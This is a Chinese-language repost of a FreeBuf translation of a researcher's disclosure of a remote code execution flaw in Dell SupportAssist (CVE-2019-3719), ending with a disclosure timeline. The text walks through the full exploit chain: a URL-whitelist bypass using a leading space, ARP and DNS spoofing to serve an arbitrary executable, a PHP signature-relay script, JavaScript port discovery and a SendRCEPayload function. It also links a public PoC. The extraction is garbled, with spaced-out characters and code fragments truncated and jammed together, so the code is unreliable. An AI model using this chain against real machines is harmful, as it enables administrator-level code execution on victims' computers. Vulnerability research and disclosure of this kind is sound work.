搜索

[14138] 2019-05-22_戴尔电脑自带系统软件SupportAssist存在RCE漏洞

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-18
2019-05-22_戴尔电脑自带系统软件SupportAssist存在RCE漏洞 戴 尔 电 脑 自 带 系 统 软 件 S u p p o r t A s s i s t 存 在 R C E 漏 洞 c l o u d s   F r e e B u f   2 0 1 9 - 0 5 - 2 2 你 用 的 电 脑 是 什 么 品 牌 的 ？ 你 有 没 有 对 你 电 脑 系 统 中 预 装 或 自 带 软 件 的 安 全 性 产 生 过 怀 疑 ？ 当 我 们 谈 论 远 程 代 码 执 行 漏 洞 （ R C E ） 时 ， 可 能 大 多 数 人 会 认 为 它 和 操 作 系 统 漏 洞 相 关 ， 但 是 有 没 有 人 考 虑 到 预 装 到 电 脑 系 统 中 的 第 三 方 软 件 这 一 攻 击 可 能 呢 ？ 本 文 讲 述 的 就 是 纽 约 1 7 岁 安 全 研 究 者 最 近 发 现 的 ， 戴 尔 预 装 在 其 电 脑 上 的 软 件 工 具 D e l l   S u p p o r t A s s i s t   的 一 个 远 程 代 码 执 行 漏 洞 （ R C E ） ， 利 用 该 漏 洞 ， 可 对 同 一 网 络 环 境 中 安 装 有 D e l l   S u p p o r t A s s i s t   的 目 标 系 统 实 施 R C E 攻 击 。 D e l l S u p p o r t A s s i s t   用 于 “ 主 动 检 查 系 统 硬 件 和 软 件 运 行 状 况 ” ， 并 且 “ 预 装 自 带 在 大 多 数 全 新 的 戴 尔 电 脑 系 统 中 ” 。 以 下 为 作 者 的 详 细 分 析 ， 比 较 繁 琐 ， 涉 及 请 求 分 析 、 完 整 性 检 查 分 析 、 漏 洞 利 用 思 路 构 造 、 A R P 和 D N S 欺 骗 。 具 体 利 用 请 参 考 文 末 最 后 的 漏 洞 利 用 及 漏 洞 利 用 及 P o C 部 份 。 部 份 。 漏 洞 发 现 漏 洞 发 现 去 年 9 月 ， 因 为 我 用 了 将 近 7 年 的 M a c b o o k   P r o 已 经 快 要 罢 工 了 ， 所 以 ， 我 打 算 重 新 购 买 一 台 性 价 比 高 的 笔 记 本 电 脑 ， 最 终 我 选 择 了 戴 尔 的 G 3   1 5 。 笔 记 本 电 脑 入 手 之 后 ， 我 把 其 中 的 1 T B 普 通 硬 盘 换 成 了 固 态 硬 盘 ， 在 安 装 完 W i n d o w s 系 统 后 ， 我 想 从 戴 尔 官 网 上 更 新 驱 动 ， 这 时 我 发 现 了 一 件 有 意 思 的 事 ， 当 我 访 问 戴 尔 的 技 术 支 持 网 站 时 ， 会 跳 出 一 个 如 下 图 的 选 项 ： 其 中 有 两 种 提 示 ， 一 是 告 诉 用 户 需 要 输 入 戴 尔 电 脑 设 备 的 服 务 标 签 、 产 品 序 列 号 和 型 号 等 等 信 息 ， 另 外 一 种 是 直 接 选 择 “ D e t e c t   P C ” （ 探 测 电 脑 ） 自 动 识 别 。 D e t e c t   P C ？ 自 动 识 别 ？ 哦 ， 这 有 点 意 思 ， 它 如 何 来 识 别 我 的 电 脑 ？ 出 于 好 奇 ， 我 就 点 击 了 “ D e t e c t   P C ” 按 钮 ， 看 看 会 发 生 什 么 。 点 击 之 后 ， 跳 出 来 了 一 个 S u p p o r t A s s i s t 程 序 的 安 装 选 项 。 尽 管 这 是 一 个 便 利 工 具 ， 但 我 还 是 有 点 点 不 放 心 ， 由 于 我 当 前 系 统 是 新 装 系 统 ， 代 理 商 系 统 已 经 被 我 革 除 。 但 为 了 进 一 步 对 该 应 用 进 行 分 析 ， 我 还 是 决 定 装 装 试 试 。 该 程 序 声 称 安 装 完 成 之 后 ， 可 以 完 全 更 新 我 的 驱 动 并 使 电 脑 系 统 保 持 更 新 。 S u p p o r t A s s i s t 程 序 安 装 很 简 单 ， 勾 选 上 述 选 框 ， 点 击 下 载 安 装 就 行 。 安 装 完 成 之 后 ， S u p p o r t A s s i s t 会 在 后 台 创 建 并 启 动 名 为 S u p p o r t A s s i s t A g e n t 和 D e l l   H a r d w a r e   S u p p o r t 的 服 务 项 。 初 略 看 来 ， 这 两 个 服 务 进 程 看 似 为 . N E T 程 序 ， 很 容 易 被 逆 向 分 析 。 安 装 完 后 ， 我 就 重 新 访 问 戴 尔 技 术 支 持 网 站 ， 看 看 它 能 探 测 到 什 么 东 东 ？ 果 然 ， 这 次 出 现 的 是 以 下 驱 动 探 测 选 项 （   “ D e t e c t   D r i v e r s ” ）   ：
为 了 更 好 的 分 析 ， 我 开 启 了 C h r o m e 浏 览 器 的 网 络 分 析 工 具 W e b   I n s p e c t o r ， 打 开 了 其 中 的 N e t w o r k 按 钮 进 行 监 视 ， 接 着 ， 我 就 点 击 了 上 述 选 项 页 面 中 的   “ D e t e c t   D r i v e r s ”   按 钮 ， 看 看 会 有 什 么 情 况 ： 经 分 析 发 现 ， 戴 尔 技 术 支 持 网 站 此 时 会 向 我 本 机 请 求 一 个 由 S u p p o r t A s s i s t A g e n t 服 务 开 启 的 8 8 8 4 端 口 ， 另 外 ， 我 本 机 经 由 一 个 R E S T   A P I 和 向 戴 尔 技 术 支 持 网 站 发 起 各 种 通 信 请 求 ， 而 且 ， 在 戴 尔 网 站 的 响 应 中 也 设 置 了 只 有 h t t p s : / / w w w . d e l l . c o m 网 站 标 记 的 A c c e s s - C o n t r o l - A l l o w - O r i g i n 访 问 控 制 策 略 。 在 我 的 浏 览 器 端 ， S u p p o r t A s s i s t 客 户 端 程 序 通 过 请 求 h t t p s : / / w w w . d e l l . c o m / s u p p o r t / h o m e / u s / e n / 0 4 / d r i v e r s / d r i v e r s b y s c a n / g e t d s d t o k e n ， 生 成 一 个 签 名 对 各 种 命 令 进 行 验 证 。 驱 动 探 测 完 成 后 ， 点 击 网 页 中 的 驱 动 下 载 按 钮 ， 其 请 求 消 息 有 点 奇 怪 。 其 请 求 消 息 头 如 下 ： 请 求 消 息 内 容 如 下 ： 通 过 请 求 来 看 ， 戴 尔 W e b 客 户 端 貌 似 可 以 直 接 请 求 我 本 机 系 统 中 的 S u p p o r t A s s i s t A g e n t 服 务 ， 显 示 驱 动 程 序 的 下 载 和 手 动 安 装 选 项 （ “ d o w n l o a d   a n d   m a n u a l l y   i n s t a l l ” ） ， 由 于 ， 我 打 算 从 S u p p o r t A s s i s t A g e n t 服 务 中 入 手 进 行 分 析 ， 看 看 戴 尔 技 术 支 持 网 站 发 出 的 一 些 具 体 命 令 。 刚 开 始 ， D e l l   S u p p o r t A s s i s t 程 序 会 通 过 8 8 8 4 、 8 8 8 3 、 8 8 8 5 或 8 8 8 6 端 口 生 成 一 个 w e b 服 务 进 程 （ S y s t e m . N e t . H t t p L i s t e n e r ） ， 其 中 的 端 口 选 择 视 开 放 而 定 ， 一 般 为 8 8 8 4 端 口 。 在 某 个 请 求 中 ， 位 于 H t t p L i s t e n e r S e r v i c e F a c a d e 线 程 中 的 L i s t e n e r C a l l b a c k 会 调 用 方 法 C l i e n t S e r v i c e H a n d l e r . P r o c e s s R e q u e s t 。 C l i e n t S e r v i c e H a n d l e r . P r o c e s s R e q u e s t 是 w e b 服 务 进 程 中 的 主 要 方 法 函 数 ， 主 要 用 于 执 行 一 些 完 整 性 检 查 ， 如 确 保 其 接 收 到 的 请 求 来 自 我 的 电 脑 本 机 ， 诸 如 此 类 等 等 。 在 本 文 后 续 我 们 会 继 续 讨 论 完 整 性 检 查 的 相 关 问 题 ， 但 是 ， 这 里 我 们 还 是 把 重 点 放 到 寻 找 R C E 漏 洞 之 上 。 C l i e n t S e r v i c e H a n d l e r . P r o c e s s R e q u e s t 其 中 的 一 个 完 整 性 检 查 就 是 ， 戴 尔 技 术 支 持 网 站 会 查 看 由 我 电 脑 系 统 中 D e l l   S u p p o r t A s s i s t 与 其 W e b 客 户 端 的 请 求 中 ， 涉 及 的 R e f e r e r 标 签 是 否 为 D e l l 官 方 所 属 网 站 ， 以 此 来 确 定 该 请 求 是 由 其 W e b 客 户 端 发 起 的 ， 如 下 ： 从 以 上 请 求 调 用 来 看 ， 其 安 全 检 查 并 不 完 善 ， 能 让 攻 击 者 找 到 很 多 攻 击 面 ， 就 拿 绕 过 R e f e r e r / O r i g i n 来 说 ， 我 们 有 以 下 几 种 可 选 方 法 ： 1 . 从 任 何 戴 尔 所 属 网 站 中 找 到 X S S 漏 洞 （ 当 然 ， 我 需 在 支 持 S u p p o r t A s s i s t 的 网 站 中 来 发 现 这 种 X S S 漏 洞 ） ； 2 . 发 现 子 域 名 劫 持 漏 洞 ； 3 . 从 本 机 程 序 中 构 造 恶 意 请 求 ； 4 . 生 成 一 个 随 机 子 域 名 [ r a n d o m ] . d e l l . c o m ， 并 利 用 D N S 劫 持 受 害 者 请 求 ， 以 此 用 我 们 控 制 的 服 务 器 来 对 对 其 进 行 响 应 。 最 终 ， 我 选 择 了 第 4 种 方 法 （ 稍 后 我 会 做 出 解 释 ） 。 经 验 证 请 求 的 R e f e r e r / O r i g i n 信 息 之 后 ， 我 发 现 C l i e n t S e r v i c e H a n d l e r . P r o c e s s R e q u e s t 会 对 相 应 的 G E T 、 P O S T 和 O P T I O N S 功 能 做 出 响 应 。 为 了 对 D e l l   S u p p o r t A s s i s t 进 行 了 深 入 研 究 ， 我 决 定 通 过 它 与 戴 尔 技 术 支 持 网 站 之 间 的 不 同 类 型 请 求 进 行 了 抓 包 分 析 ， 刚 好 我 的 电 脑 系 统 还 存 在 一 些 待 定 更 新 ， 所 以 我 就 选 择 了 浏 览 器 工 具 对 请 求 进 行 拦 截 。 首 先 ， 戴 尔 技 术 支 持 网 站 会 循 环 遍 历 上 述 提 到 的 四 个 端 口 来 探 测 本 机 系 统 中 安 装 的 S u p p o r t A s s i s t ， 之 后 如 果 端 口 开 放 ， 则 会 连 接 “ i s a l i v e ” 服 务 方 法 ， 比 较 有 意 思 的 是 ， 其 中 的 签 名 “ S i g n a t u r e ” 和 “ E x p i r e s ”   参 数 传 递 过 程 有 点 意 思 ， 为 此 ， 我 逆 向 了 浏 览 器 端 涉 及 的 J S 脚 本 ， 发 现 了 以 下 问 题 ： 1 . 首 先 ， 浏 览 器 会 向 网 站 h t t p s : / / w w w . d e l l . c o m / s u p p o r t / h o m e / u s / e n / 0 4 / d r i v e r s / d r i v e r s b y s c a n / g e t d s d t o k e n 发 起 请 求 ， 以 获 取 一 个 t o k e n ， 也 就 是 签 名 S i g n a t u r e 。 当 然 ， 戴 尔 还 会 分 配 一 个 “ E x p i r e s t o k e n ” ， 以 限 制 签 名 的 过 期 时 间 ； 2 . 接 着 ， 浏 览 器 会 向 每 一 个 服 务 端 口 发 出 类 似 以 下 的 请 求 ： 之 后 ， 当 相 应 端 口 开 放 并 接 收 到 请 求 后 ， 本 机 的 D e l l   S u p p o r t A s s i s t 客 户 端 会 做 出 以 下 响 应 ： 4 . 当 浏 览 器 接 收 到 上 述 响 应 消 息 之 后 ， 它 就 与 给 定 的 开 放 端 口 建 立 联 系 ， 进 行 后 续 的 连 接 通 信 。 通 过 对 不 同 类 型 的 请 求 进 行 测 试 后 ， 我 发 现 值 得 注 意 的 因 素 是 可 以 通 过 “ g e t s y s t e m i n f o ” 方 法 来 获 取 到 电 脑 本 机 中 的 各 项 硬 件 信 息 ， 甚 至 也 可 以 通 过 X S S 漏 洞 方 式 来 读 取 这 些 信 息 。 这 算 是 一 个 安 全 问 题 ， 因 为 这 样 我 可 以 对 电 脑 系 统 做 出 全 方 位 的 画 像 和 敏 感 信 息 收 集 。 另 外 ， 我 还 通 过 J S 脚 本 逆 向 分 析 发 现 了 以 下 一 些 特 别 的 方 法 请 求 ： 引 起 我 注 意 的 是 d o w n l o a d s e r v i c e _ d o w n l o a d a n d a u t o i n s t a l l 方 法 ， 它 会 从 特 定 U R L 下 载 文 件 并 执 行 ， 当 用 户 需 要 安 装 某 个 驱 动 程 序 时 ， 它 就 能 派 上 用 场 ， 进 行 自 动 的 下 载 和 安 装 。 1 . 在 确 定 某 些 驱 动 程 序 需 要 更 新 后 ， 戴 尔 技 术 支 持 网 站 的 浏 览 器 端 会 发 起 一 个 以 下 的 P O S T 请 求 ： P O S T   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 8 8 4 / d o w n l o a d s e r v i c e / d o w n l o a d m a n u a l i n s t a l l ? e x p i r e s = e x p i r e t i m e & s i g n a t u r e = s i g n a t u r e A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / j a v a s c r i p t ,   * / * ;   q = 0 . 0 1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n O r i g i n : {         {         " t i t l e " : " D e l l   G 3   3 5 7 9   a n d   3 7 7 9   S y s t e m   B I O S " ,         " c a t e g o r y " : " B I O S " ,         " n a m e " : " G 3 _ 3 5 7 9 _ 1 . 9 . 0 . e x e " ,         " l o c a t i o n " : " h t t p s : / / d o w n l o a d s . d e l l . c o m / F O L D E R 0 5 5 1 9 5 2 3 M / 1 / G 3 _ 3 5 7 9 _ 1 . 9 . 0 . e x e ? u i d = 2 9 b 1 7 0 0 7 - b e a d - 4 a b 2 - 8 5 9 e - 2 9 b 6 f 1 3 2 7 e a 1 & f n = G 3 _ 3 5 7 9 _ 1 . 9 . 0 . e x e " / /   T o k e n :   0 x 0 6 0 0 0 0 A 8   R I D :   1 6 8   R V A :   0 x 0 0 0 0 4 E A 0   F i l e   O f f s e t :   0 x 0 0 0 0 3 0 A 0 p u b l i c   s t a t i c   b o o l   V a l i d a t e D o m a i n ( U r i   r e q u e s t ,   U r i   u r l R e f e r r e r ) {   r e t u r n   S e c u r i t y H e l p e r . V a l i d a t e D o m a i n ( u r l R e f e r r e r . H o s t . T o L o w e r ( ) )   & &   ( r e q u e s t . H o s t . T o L o w e r ( ) . S t a r t s W i t h ( h t t p : / / 1 2 7 . 0 . 0 . 1 : [ S E R V I C E P O R T ] / c l i e n t s e r v i c e / i s a l i v e / ? e x p i r e s = [ E X P I R E S ] & s i g n a t u r e = [ S I G N A T U R E ] {   " i s A l i v e " :   t r u e ,   " c l i e n t V e r s i o n " :   " [ C L I E N T   V E R S I O N ] " ,   " r e q u i r e d V e r s i o n " :   n u l l ,   " s u c c e s s " :   t r u e ,   " d a t a " :   n u l l ,   " l o c a l T i m e " :   [ E P O C H   T I M E ] ,   " E x c e p t i o n " :   {           " C o d e " :   n u l l ,           c l i e n t s e r v i c e _ g e t d e v i c e d r i v e r s   -   G r a b s   a v a i l a b l e   u p d a t e s . d i a g n o s t i c s s e r v i c e _ e x e c u t e t i p   -   T a k e s   a   t i p   g u i d   a n d   p r o v i d e s   i t   t o   t h e   P C   D o c t o r   s e r v i c e   ( D e l l   H a r d w a r e   S u p p o r t ) . d o w n l o a d s e r v i c e _ d o w n l o a d f i l e s   -   D o w n l o a d s   a   J S O N   a r r a y   o f   f i l e s . c l i e n t s e r v i c e _ i s a l i v e   -   U s e d   a s   a   h e a r t b e a t   a n d   r e t u r n s   b a s i c   i n f o r m a t i o n   a b o u t   t h e   a g e n t . c l i e n t s e r v i c e _ g e t s e r v i c e t a g   -   G r a b s   t h e   s e r v i c e   t a g . l o c a l c l i e n t _ i m g   -   C o n n e c t s   t o   S i g n a l R   ( D e l l   H a r d w a r e   S u p p o r t ) . d i a g n o s t i c s s e r v i c e _ g e t s y s t e m i n f o w i t h a p p c r a s h i n f o   -   G r a b s   s y s t e m   i n f o r m a t i o n   h t t p : / / 1 2 7 . 0 . 0 . 1 : [ S E R V I C E   P O R T ] / d o w n l o a d s e r v i c e / d o w n l o a d a n d a u t o i n s t a l l ? e x p i r e s = [ E X P I R E S ] & s i g n a t u r e = [ S I G N A T U R E ]
2 . 其 请 求 消 息 体 为 以 下 的 J S O N 格 式 ： 3 . 在 执 行 完 前 述 的 完 整 性 校 验 之 后 ， C l i e n t S e r v i c e H a n d l e r . P r o c e s s R e q u e s t 方 法 会 发 送 相 关 的 参 数 和 S e r v i c e M e t h o d ， 这 些 参 数 和 方 法 是 我 们 传 递 给 C l i e n t S e r v i c e H a n d l e r . H a n d l e P o s t 中 的 ； 4 . 在 C l i e n t S e r v i c e H a n d l e r . H a n d l e P o s t 中 ， 它 会 把 所 有 参 数 排 列 成 一 个 数 组 ， 然 后 调 用 S e r v i c e M e t h o d H e l p e r . C a l l S e r v i c e M e t h o d ； 5 . 之 后 ， S e r v i c e M e t h o d H e l p e r . C a l l S e r v i c e M e t h o d 会 实 现 一 个 调 度 功 能 ， 去 调 用 S e r v i c e M e t h o d 中 给 定 的 方 法 函 数 。 在 这 里 的 驱 动 下 载 中 ， 它 是   “ d o w n l o a d a n d a u t o i n s t a l l ”   方 法 ： 以 上 方 法 会 调 用   D o w n l o a d S e r v i c e L o g i c . D o w n l o a d A u t o I n s t a l l ， 并 提 供 请 求 体 中 J S O N   P a y l o a d 的 相 应 文 件 下 载 ； 6 . 接 着 ， D o w n l o a d S e r v i c e L o g i c . D o w n l o a d A u t o I n s t a l l 会 作 为 D o w n l o a d S e r v i c e L o g i c . _ H a n d l e J s o n 方 法 的 一 个 封 装 函 数 ， 执 行 异 常 处 理 等 功 能 ； 7 . D o w n l o a d S e r v i c e L o g i c . _ H a n d l e J s o n 会 对 包 含 文 件 下 载 的 请 求 体 J S O N   P a y l o a d 进 行 反 序 列 化 ， 然 后 执 行 以 下 完 整 性 校 验 检 查 ： 以 上 完 整 性 校 验 检 查 会 对 其 中 涉 及 的 每 个 文 件 进 行 循 环 检 查 ， 例 如 会 检 查 下 载 文 件 的 U R L ， 如 果 是 h t t p : / / 就 会 用 h t t p s : / / 代 替 ， 也 会 检 查 其 中 的 U R L 是 否 与 戴 尔 下 载 列 表 匹 配 。 如 下 ： 最 终 ， 如 果 以 上 类 似 完 整 性 检 查 都 能 通 过 ， 就 会 通 过 D o w n l o a d H a n d l e r . R e g i s t e r D o w n l o a d R e q u e s t 和 D e l l   S u p p o r t A s s i s t 建 立 下 载 关 系 ， 以 本 机 管 理 员 身 份 下 载 并 执 行 相 应 驱 动 文 件 。 基 于 以 上 信 息 ， 我 们 可 以 来 尝 试 编 写 一 个 漏 洞 利 用 代 码 。 漏 洞 利 用 及 漏 洞 利 用 及 P o C 首 先 我 们 需 要 构 造 的 是 执 行 对 S u p p o r t A s s i s t 客 户 端 的 请 求 ， 假 设 我 们 在 一 个 戴 尔 的 子 域 名 网 站 环 境 中 ， 在 本 节 中 我 们 将 来 讨 论 如 何 做 到 这 一 点 。 在 此 我 决 定 模 仿 浏 览 器 并 用 j a v a s c r i p t 发 起 请 求 。 一 开 始 ， 需 要 找 到 服 务 端 口 ， 这 里 可 以 轮 询 上 述 的 四 个 预 定 义 端 口 ， 并 向 “ / c l i e n t s e r v i c e / i s a l i v e ” 执 行 请 求 。 另 外 还 需 要 提 供 一 个 签 名 ， 为 此 ， 可 以 执 行 一 个 针 对 “ h t t p s : / / w w w . d e l l . c o m / s u p p o r t / h o m e / u s / e n / 0 4 / d r i v e r s / d r i v e r s b y s c a n / g e t d s d t o k e n ” 的 请 求 。 这 样 看 起 来 可 能 还 是 不 行 ， 因 为 签 名 响 应 中 涉 及 的 访 问 控 制 策 略 “ A c c e s s - C o n t r o l - A l l o w - O r i g i n ”   里 明 确 提 到 要 是 “ h t t p s : / / w w w . d e l l . c o m ” 相 关 网 站 ， 但 是 我 们 身 处 的 子 域 名 环 境 可 能 并 不 是 h t t p s 方 式 的 ， 那 怎 么 办 呢 ？ 我 们 可 以 从 我 们 自 己 控 制 的 服 务 端 中 来 执 行 请 求 ！ 从   “ g e t d s d t o k e n ”   U R L 中 返 回 的 签 名 适 配 所 有 设 备 系 统 ， 它 是 通 用 签 名 ， 为 此 我 写 了 一 段 P H P 脚 本 来 抓 取 它 ： 上 述 脚 本 的 访 问 控 制 策 略 中 允 许 任 意 域 来 对 它 执 行 请 求 ， 之 后 ， 它 返 回 了 原 始 的 请 求 戴 尔 网 站 的 签 名 ， 相 当 于 一 个 获 取 签 名 的 代 理 ， 随 后   “ g e t d s d t o k e n ” U R L 会 返 回 附 带 签 名 和 过 期 时 间 的 J S O N 信 息 ， 接 着 ， 我 们 可 以 使 用 J S O N . p a r s e 针 对 抓 取 信 息 进 行 解 析 ， 把 其 中 的 签 名 放 置 到 一 个 j a v a s c r i p t 对 象 中 。 现 在 ， 我 们 有 了 签 名 和 其 过 期 时 间 ， 就 可 以 执 行 请 求 构 造 了 ， 以 下 就 是 执 行 端 口 轮 询 的 脚 本 ， 如 果 相 应 的 端 口 处 于 开 放 状 态 ， 就 把 它 填 入 s e r v e r _ p o r t 变 量 中 去 。 如 下 ： 在 发 现 服 务 端 之 后 ， 我 们 可 以 发 送 我 们 的 P a y l o a d ， 但 这 是 最 难 的 部 份 ， 在 “ d o w n l o a d a n d a u t o i n s t a l l ”   执 行 我 们 的 P a y l o a d 之 前 ， 还 有 多 个 需 要 解 决 的 问 题 。 从 最 难 的 问 题 说 起 ， D e l l   S u p p o r t A s s i s t 客 户 端 中 有 一 个 内 置 的 白 名 单 ， 具 体 而 言 ， 其 必 须 是 “ f t p . d e l l . c o m ” 、 “ d o w n l o a d s . d e l l . c o m ” 或   “ a u s g e s d 4 f 1 . a u s . a m e r . d e l l . c o m ” 这 种 类 型 的 ， 从 这 个 点 来 说 几 乎 无 计 可 施 ， 而 且 在 d e l l 相 关 网 站 也 发 现 不 了 任 何 开 放 重 定 向 漏 洞 。 但 是 ， 我 突 然 想 到 ， 可 以 用 中 间 人 攻 击 （ M I T M ） 来 看 看 。 如 果 我 们 可 以 向 D e l l   S u p p o r t A s s i s t 客 户 端 提 供 一 个 类 似 h t t p : / / 的 U R L ， 那 我 们 就 能 非 常 容 易 地 拦 截 并 修 改 其 中 的 响 应 消 息 了 ！ 在 某 种 程 度 上 就 能 解 决 这 个 最 难 的 问 题 了 。 另 外 一 个 问 题 看 似 是 为 了 应 对 绕 过 第 一 个 问 题 而 设 置 的 ， 结 合 前 述 分 析 ， 当 文 件 下 载 U R L 是 h t t p : / / ， 则 它 会 被 h t t p s : / / 代 替 ， 这 是 完 整 性 检 查 中 的 相 关 方 法 定 义 ： 重 点 来 了 ， 按 照 上 面 的 定 义 ， 也 就 是 说 ， 如 果 文 件 下 载 U R L 是 ” h t t p : / / " 样 式 的 ， 那 么 就 会 被 替 换 为 " h t t p s : / / " ， 那 要 是 文 件 下 载 U R L 是 其 它 样 式 的 ， 那 意 思 是 就 不 会 被 替 换 为 " h t t p s : / / " 了 ？ 为 此 ， 我 们 来 试 试 ， 在 " h t t p : / / " 中 的 左 括 号 后 加 上 一 个 空 格 ， 即 ： “ [ h t t p : / / d o w n l o a d s . d e l l . c o m / a b c d e f g ] ( h t t p : / / d o w n l o a d s . d e l l . c o m / a b c d e f g ) ” ， 这 样 一 来 ， 当 执 行 完 整 性 检 查 的 时 候 ， 由 于 该 文 件 下 载 U R L 是 以 “   ” 空 格 开 始 的 ， 所 以 ， 它 的 检 查 结 果 状 态 会 返 回 f a l s e ， 但 这 也 不 影 响 后 面 部 份 的   h t t p : / / d o w n l o a d s . d e l l . c o m / a b c d e f g 执 行 。 为 此 ， 我 编 写 了 如 下 的 J S 自 动 请 求 发 送 脚 本 来 实 现 这 种 U R L 绕 过 ： 有 了 这 个 P a y l o a d ， 现 在 就 要 想 办 法 在 同 一 网 络 中 构 造 攻 击 端 了 ， 以 下 是 我 在 P o C 阶 段 有 效 的 攻 击 端 搭 建 步 骤 ： 1 . 在 同 一 网 络 中 获 得 特 定 网 络 接 口 下 的 某 些 I P 地 址 ； 2 . 模 拟 戴 尔 W e b 服 务 端 并 提 供 一 个 包 含 路 径 的 任 意 可 执 行 程 序 ， 该 程 序 文 件 对 应 于 戴 尔 网 站 提 供 的 驱 动 程 序 。 模 拟 的 W e b 服 务 端 会 检 查 请 求 主 机 头 是 否 为 d o w n l o a d s . d e l l . c o m ， 如 果 是 则 会 发 送 可 执 行 程 序 ； 如 果 请 求 中 有 d e l l . c o m 域 名 ， 但 是 不 是 d o w n l o a d s 下 载 域 名 ， 则 它 会 发 送 上 述 的 J S 自 动 请 求 脚 本 。 3 . 接 下 来 ， 要 对 目 标 系 统 执 行 A R P 欺 骗 ， 这 里 要 开 启 I P 转 发 才 能 把 A R P 包 发 送 到 目 标 系 统 ， 这 样 在 路 由 和 目 标 系 统 之 间 才 能 形 成 共 识 。 我 们 会 每 隔 几 秒 就 重 复 发 送 这 些 A R P 包 ， 退 出 后 ， 会 把 原 始 的 M A C 地 址 发 送 给 目 标 系 统 和 路 由 。 4 . 最 后 ， 我 们 要 使 用 i p t a b l e s 将 D N S 数 据 包 重 定 向 到 网 络 过 滤 器 队 列 来 进 行 D N S 欺 骗 ， 通 过 监 听 这 个 网 络 过 滤 器 队 列 ， 并 检 查 目 标 系 统 请 求 的 域 名 是 否 是 我 们 的 目 标 网 址 （ 戴 尔 技 术 支 持 网 站 ） 。 如 果 是 ， 我 们 会 发 送 一 个 假 的 域 名 系 统 数 据 包 ， 表 明 我 们 是 该 网 址 的 真 正 I P 地 址 。 5 . 当 目 标 系 统 受 害 者 访 问 我 们 的 子 域 （ 直 接 通 过 网 址 或 通 过 i f r a m e 间 接 访 问 ） 时 ， 我 们 会 向 它 发 送 恶 意 的 J S 脚 本 ， 由 它 来 发 现 D e l l   S u p p o r t A s s i s t 客 户 端 的 服 务 端 口 ， 然 后 从 我 们 之 前 创 建 的 p h p 文 件 中 获 取 签 名 ， 最 后 发 送 R C E   P a y l o a d 。 当 D e l l   S u p p o r t A s s i s t 客 户 端 处 理 R C E   P a y l o a d 时 ， 它 会 向 d o w n l o a d s . d e l l . c o m 发 出 请 求 ， 这 时 我 们 结 合 以 下 的 A R P 和 D N S 欺 骗 效 果 ， 将 会 向 目 标 系 统 返 回 一 个 任 意 的 可 执 行 程 序 。 P o C 漏 洞 利 用 视 频 如 下 漏 洞 利 用 视 频 如 下 ： {   {   " t i t l e " : " D O W N L O A D   T I T L E " ,   " c a t e g o r y " : " C A T E G O R Y " ,   " n a m e " : " F I L E N A M E " ,   " l o c a t i o n " : " F I L E   U R L " ,   " i s S e c u r e " : f a l s e ,   " f i l e U n i q u e I d " : " R A N D O M U U I D " ,   " r u n " : t r u e ,   " i n s t a l l O r d e r " : 2 ,   " r e s t r i c t e d " i f   ( s e r v i c e _ M e t h o d   = =   " d o w n l o a d s e r v i c e _ d o w n l o a d a n d a u t o i n s t a l l " ) {   s t r i n g   f i l e s 5   =   ( a r g u m e n t s   ! =   n u l l   & &   a r g u m e n t s . L e n g t h   ! =   0   & &   a r g u m e n t s [ 0 ]   ! =   n u l l )   ?   a r g u m e n t s [ 0 ] . T o S t r i n g ( )   :   f o r e a c h   ( F i l e   f i l e   i n   l i s t ) {   b o o l   f l a g 2   =   f i l e . L o c a t i o n . T o L o w e r ( ) . S t a r t s W i t h ( " h t t p : / / " ) ;   i f   ( f l a g 2 )   {           f i l e . L o c a t i o n   =   f i l e . L o c a t i o n . R e p l a c e ( " h t t p : / / " ,   " h t t p s : / / " ) ;   }   b o o l p u b l i c   s t a t i c   b o o l   C h e c k D o m a i n ( s t r i n g   f i l e L o c a t i o n ) {   L i s t < s t r i n g >   l i s t   =   n e w   L i s t < s t r i n g >   {     " f t p . d e l l . c o m " ,     " d o w n l o a d s . d e l l . c o m " ,     " a u s g e s d 4 f 1 . a u s . a m e r . d e l l . c o m "   } ;   r e t u r n   < ? p h p h e a d e r ( ' A c c e s s - C o n t r o l - A l l o w - O r i g i n :   * ' ) ; e c h o   f i l e _ g e t _ c o n t e n t s ( ' h t t p s : / / w w w . d e l l . c o m / s u p p o r t / h o m e / u s / e n / 0 4 / d r i v e r s / d r i v e r s b y s c a n / g e t d s d t o k e n ' ) ; ? > f u n c t i o n   F i n d S e r v e r ( )   {   p o r t s . f o r E a c h ( f u n c t i o n ( p o r t )   {     v a r   i s _ a l i v e _ u r l   =   " h t t p : / / 1 2 7 . 0 . 0 . 1 : "   +   p o r t   +   " / c l i e n t s e r v i c e / i s a l i v e / ? e x p i r e s = "   +   s i g n a t u r e s . E x p i r e s   +   " & s i g n a t u r e = " f i l e . L o c a t i o n   =   f i l e . L o c a t i o n . R e p l a c e ( " h t t p : / / " ,   " h t t p s : / / " ) ; f u n c t i o n   S e n d R C E P a y l o a d ( )   {   v a r   a u t o _ i n s t a l l _ u r l   =   " h t t p : / / 1 2 7 . 0 . 0 . 1 : "   +   s e r v e r _ p o r t   +   " / d o w n l o a d s e r v i c e / d o w n l o a d a n d a u t o i n s t a l l ? e x p i r e s = "   +   s i g n a t u r e s . E x p i r e s   +   " & s i g n a t u r e = "
视 频 中 的 恶 意 d e l l r c e . h t m l 源 码 为 ： 具 体 的 漏 洞 利 用 工 具 参 见 G i t h u b ： h t t p s : / / g i t h u b . c o m / D 4 s t i n y / D e l l - S u p p o r t - A s s i s t - R C E - P o C 漏 洞 上 报 进 程 漏 洞 上 报 进 程 2 0 1 8 . 1 0 . 2 6   向 D e l l 进 行 漏 洞 初 报 2 0 1 8 . 1 0 . 2 9   D e l l 给 出 回 应 ， 验 证 漏 洞 2 0 1 8 . 1 1 . 2 2   D e l l 验 证 漏 洞 2 0 1 8 . 1 1 . 2 9   D e l l 计 划 在 2 0 1 9 年 初 给 出 暂 时 性 修 复 补 丁 2 0 1 9 . 1 . 2 8   D e l l 告 知 漏 洞 公 布 延 迟 至 3 月 2 0 1 9 . 3 . 1 3   D e l l 修 复 计 划 滞 后 ， 漏 洞 公 布 延 期 至 4 月 2 0 1 9 . 4 . 1 8   D e l l 发 出 漏 洞 公 告 C V E - 2 0 1 9 - 3 7 1 8 2 0 1 9 . 4 . 3 0   我 公 开 漏 洞 * 参 考 来 源 ： 参 考 来 源 ： d 4 s t i n y ， ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 